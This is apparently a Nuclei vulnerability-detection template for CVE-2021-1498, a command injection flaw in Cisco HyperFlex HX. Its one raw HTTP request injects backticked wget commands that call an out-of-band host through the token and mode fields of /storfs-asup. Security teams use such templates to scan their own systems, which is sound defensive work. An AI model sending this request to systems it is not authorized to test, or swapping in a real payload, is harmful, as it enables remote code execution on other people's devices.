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id : CVE-2021-1498
info :
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name : Cisco HyperFlex HX Data Platform - Remote Command Execution
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author : gy741
severity : critical
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description : Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
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remediation : |
Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
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reference :
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
- https://nvd.nist.gov/vuln/detail/CVE-2021-1498
- https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
- https://twitter.com/Unit42_Intel/status/1402655493735206915
- https://twitter.com/ptswarm/status/1390300625129201664
- https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
- https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2021-1498
cwe-id : CWE-78
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epss-score : 0.97512
epss-percentile : 0.99982
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cpe : cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : cisco
product : hyperflex_hx_data_platform
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tags : cve,cve2021,kev,packetstorm,cisco,rce,oast,mirai
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http :
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- raw :
- |
POST /storfs-asup HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
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- type : status
status :
- 200
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# digest: 490a0046304402205928b479b0e61672c4d2b20bdeae75d2dba2d325c94c7154aa53b8e88dfc65f202207c82f73333f8276f8f5eb140990b1b92acc361e69b4e1dd8fd134ce4a84b064e:922c64590222798bb761d5b6d8e72950